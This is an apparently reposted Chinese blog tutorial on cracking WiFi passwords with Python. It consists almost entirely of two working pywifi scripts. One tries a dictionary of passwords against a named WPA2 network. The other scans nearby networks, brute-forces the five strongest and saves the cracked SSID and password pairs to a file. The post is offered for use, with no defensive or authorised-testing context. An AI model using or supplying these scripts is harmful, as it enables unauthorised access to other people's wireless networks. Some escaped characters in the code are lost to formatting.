利用python破解WiFi密码

转载来源：https://blog.csdn.net/qq_34489091/article/details/81013843
文章作者：宁不凡

目录：

1.破解指定一个WiFi

2.破解多个WiFi

1.破解指定WiFi

# coding:utf-8
import time  # 时间
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义
from asyncio.tasks import sleep


class PoJie():
    def __init__(self, path):
        self.file = open(path, "r", errors="ignore")
        wifi = pywifi.PyWiFi()  # 抓取网卡接口
        self.iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
        self.iface.disconnect()  # 测试链接断开所有链接

        time.sleep(1)  # 休眠1秒

        # 测试网卡是否属于断开状态，
        assert self.iface.status() in 
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
        print("开始破解：")
        while True:

            try:
                myStr = self.file.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr)
                if bool1:
                    print("密码正确：", myStr)
                    break
                else:
                    print("密码错误:" + myStr)
                time.sleep(3)
            except:
                continue

    def test_connect(self, findStr):  # 测试链接

        profile = pywifi.Profile()  # 创建wifi链接文件
        #==================修改部分1======================
        profile.ssid = "baby1997_xdd"  # wifi名称
        #=================================================
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放，
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = findStr  # 密码

        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
        self.iface.connect(tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in 
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOK

    def __del__(self):
        self.file.close()

#=========================修改部分2==========================================
path = r"D:File_PythonwifiWiFi_ChangYongPassword.txt"
#============================================================================
start = PoJie(path)
start.readPassWord()

2.破解多个WiFi

import pywifi

from pywifi import const  # 引用一些定义

import time


def getwifi(wifilist, wificount):
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist:  # 去掉重复的WIFI名称
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    if len(allwifilist) is not 0:
        for item in allwifilist:
            if (item[0] not in ssidlist) & (item[0] not in wifilist):
                n = n + 1
                if n <= wificount:
                    ssidlist.append(item[0])
    print(allwifilist)
    return ssidlist


def getifaces():
    wifi = pywifi.PyWiFi()  # 抓取网卡接口
    ifaces = wifi.interfaces()[0]  # 获取网卡
    ifaces.disconnect()  # 断开无限网卡连接
    return ifaces


def testwifi(ifaces, ssidname, password):
    profile = pywifi.Profile()  # 创建wifi连接文件
    profile.ssid = ssidname  # 定义wifissid
    profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = password  # wifi密码
    ifaces.remove_all_network_profiles()  # 删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)  # 加载配置文件
    ifaces.connect(tmp_profile)  # 连接wifi
    time.sleep(5)  # 5秒内能否连接上
    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False


def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r"wifi_ChangYongPassword.txt"
    # path = r"password-常用密码.txt"
    files = open(path, 'r')
    while True:
        try:
            password = files.readline()
            password = password.strip('
')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在尝试：" + wifiname + "," + password)
                if testwifi(ifaces, wifiname, password):
                    print("Wifi账号:" + wifiname + "，Wifi密码:" + password+'======================================')
                    #=====================================
                    # 将连接上的账户与密码写入到文件中
                    filePassword = open("./成功破解的账户.txt", "a");
                    filePassword.write('Wifi账号:' + wifiname + '    ' + 'Wifi密码:' + password + '
');
                    filePassword.close();
                    #=====================================
                    wifinamelist.remove(wifiname)
                    break
            if not wifinamelist:
                break
        except:
            continue
    files.close()


if __name__ == '__main__':
    wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字
   # print(wifinames_e)
    wifinames = getwifi(wifinames_e, 5)


    print(wifinames)
    beginwork(wifinames)